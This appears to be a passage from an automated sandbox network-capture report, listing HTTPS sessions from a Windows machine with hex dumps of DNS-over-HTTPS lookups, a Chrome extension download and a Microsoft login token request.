73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49754	162.159.61.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:05 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-08 14:21:05 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-08 14:21:05 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 08 Nov 2024 14:21:05 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8df6351f892647a6-DFW alt-svc: h3=":443"; ma=86400
2024-11-08 14:21:05 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 5d 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom]s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49755	162.159.61.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:05 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-08 14:21:05 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-08 14:21:05 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 08 Nov 2024 14:21:05 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8df6351f8a116b2e-DFW alt-svc: h3=":443"; ma=86400
2024-11-08 14:21:05 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49757	172.64.41.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:05 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-08 14:21:05 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-08 14:21:05 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 08 Nov 2024 14:21:05 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8df6351ffc39e7d3-DFW alt-svc: h3=":443"; ma=86400
2024-11-08 14:21:05 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 5f 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom_q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49756	172.217.16.129	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:06 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:06 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY3FEt6f95CYRNiRcSO84FdXQ44th2Fbq-yNUKoIpreslOtx2BkZ82_qSghvyIf29aTh3U74T-xsrQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Thu, 07 Nov 2024 20:33:29 GMT Expires: Fri, 07 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 64057 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-08 14:21:06 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-08 14:21:06 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49774	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:07 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-08 14:21:07 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-08 14:21:08 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 08 Nov 2024 14:20:08 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: 38dc8b12-d6ba-46ba-900c-bbe001744c12 PPServer: PPV: 30 H: PH1PEPF00011FA5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 08 Nov 2024 14:21:07 GMT Connection: close Content-Length: 11392
2024-11-08 14:21:08 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49780	162.159.61.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
